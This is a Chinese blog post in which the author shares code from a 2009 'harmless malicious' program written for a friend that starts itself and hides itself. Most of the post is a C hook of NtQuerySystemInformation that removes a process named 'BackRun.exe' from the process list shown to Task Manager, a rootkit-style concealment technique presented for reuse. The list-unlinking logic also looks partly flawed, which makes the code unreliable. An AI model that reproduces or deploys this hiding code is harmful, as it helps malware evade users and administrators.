使用APIHOOK实现进程隐藏

今天翻出一些今年前写的代码。其中一个是09年,我帮一个读研的同学写的一个“无公害恶意”程序。大致要求就是要实现自启动和自我隐藏。我使用的都是些简单的技术,只是实现自我隐藏稍微让我花费了点时间写算法。其实这个算法也很简单,就是大学时候写的从一个单向链表中删除一个元素。

APIhook我这儿就不说了,网上很多开源的代码,我只贴出“删除元素”的代码。

NTSTATUS WINAPI Hook_NtQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID lpSystemInformation, ULONG ulSystemInformationLength, PULONG pulReturnLength) { // 调用原始NtQuerySystemInformation NTSTATUS nResult = ((PNtQuerySystemInformation)(PROC) g_NtQuerySystemInformation) (SystemInformationClass, lpSystemInformation, ulSystemInformationLength, pulReturnLength); if( 0 != nResult) { return nResult; } // 获取调用模块路径 WCHAR FilaPath[MAX_PATH] = {0}; GetModuleFileName( NULL, FilaPath, MAX_PATH ); // 获取调用模块的名称 WCHAR* pFileName= NULL; pFileName = PathFindFileName(FilaPath); // 这是计算进程名在结构体中的偏移 // typedef struct _SYSTEM_PROCESS_INFORMATION // { // ULONG dwNextEntryOffset; // 下段结构对象的偏移 // ULONG dwNumberOfThreads; // 线程数 // LARGE_INTEGER qSpareLi1; // LARGE_INTEGER qSpareLi2; // LARGE_INTEGER qSpareLi3; // LARGE_INTEGER qCreateTime; // 创建时间 // LARGE_INTEGER qUserTime; // 用户态时间 // LARGE_INTEGER qKernelTime; // 内核态时间 // UNICODE_STRING ImageName; // 文件名(非路径) // …… // } // 2 * sizeof(USHORT)是因为UNICODE_STRING得定义: // typedef struct _UNICODE_STRING { // USHORT Length; // USHORT MaximumLength; // PWSTR Buffer; // } UNICODE_STRING; DWORD dwnameoffset = 2 * sizeof(ULONG) + 6 * sizeof(LARGE_INTEGER) + 2 * sizeof(USHORT); if ( 0 != wcscmp( pFileName, L"taskmgr.exe" ) || 5 != SystemInformationClass ) { //只是过滤windows任务管理器 return nResult; } LPVOID lpAddr = lpSystemInformation; // 获取第二个数据块的偏移 ULONG ulNextEntryOffset = 0; // 因为_SYSTEM_PROCESS_INFORMATION的第一个元素就是dwNextEntryOffset memcpy_s( &ulNextEntryOffset, sizeof(ULONG), lpAddr, sizeof(ULONG) ); // 保存前一个数据块的“下个数据偏移” ULONG ulBeforeNextEntryOffset = ulNextEntryOffset; // 保存当前数据块的“下个数据偏移” ULONG ulCurrentNextEntryOffset = ulNextEntryOffset; // 保存后一个数据块的“下个数据偏移” ULONG ulAfterNextEntryOffset = ulNextEntryOffset; // 保存前一个数据块的起始地址 PCHAR pchBeforeAddr = (PCHAR) lpSystemInformation; // 保存当前数据块的起始地址 PCHAR pchCurrentAddr = (PCHAR) lpSystemInformation; // 保存下个数据块的起始地址 PCHAR pchNextAddr = pchCurrentAddr; BOOL bidle = TRUE; while( 0 != ulNextEntryOffset ) { // 下个数据块的起始地址=当前数据块的地址+当前数据块的“下个数据偏移” pchNextAddr = pchCurrentAddr + ulCurrentNextEntryOffset; // 保存下个数据的“下个数据偏移” memcpy_s( &ulNextEntryOffset, sizeof(ULONG), (PVOID)pchNextAddr, sizeof(ULONG) ); // 指向每个数据块中进程名的指针 PCHAR pchNameAddr = NULL; // 过滤第一个进程system idle。这个进程在这个进程信息结构体中没有名字 if( FALSE != bidle ) { // 获取指向进程名的指针 memcpy_s( &pchNameAddr, sizeof(PCHAR), (PVOID)(pchCurrentAddr+dwnameoffset), sizeof(PCHAR)); if( 0 == wcscmp( (PWCHAR)(pchNameAddr), L"BackRun.exe")) { // 让上个数据块的“下个数据偏移”=上个数据块的“下个数据偏移”+当前数据块的“下个数据偏移”,跳过当前数据块 DWORD dwGoToNextOffset = ulBeforeNextEntryOffset + ulCurrentNextEntryOffset; SIZE_T size_nouse = 0; // 将数据写入内存 if (!WriteProcessMemory( GetCurrentProcess(), (PVOID) pchBeforeAddr, (PVOID) (&dwGoToNextOffset), sizeof(DWORD), &size_nouse )) ; memcpy_s( &ulNextEntryOffset, sizeof(ULONG), pchNextAddr, sizeof(ULONG) ); } } else { bidle = FALSE; } pchBeforeAddr = pchCurrentAddr; ulBeforeNextEntryOffset = ulCurrentNextEntryOffset; pchCurrentAddr = pchNextAddr; ulCurrentNextEntryOffset = ulNextEntryOffset; } // Return the result back to the caller return nResult; }

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值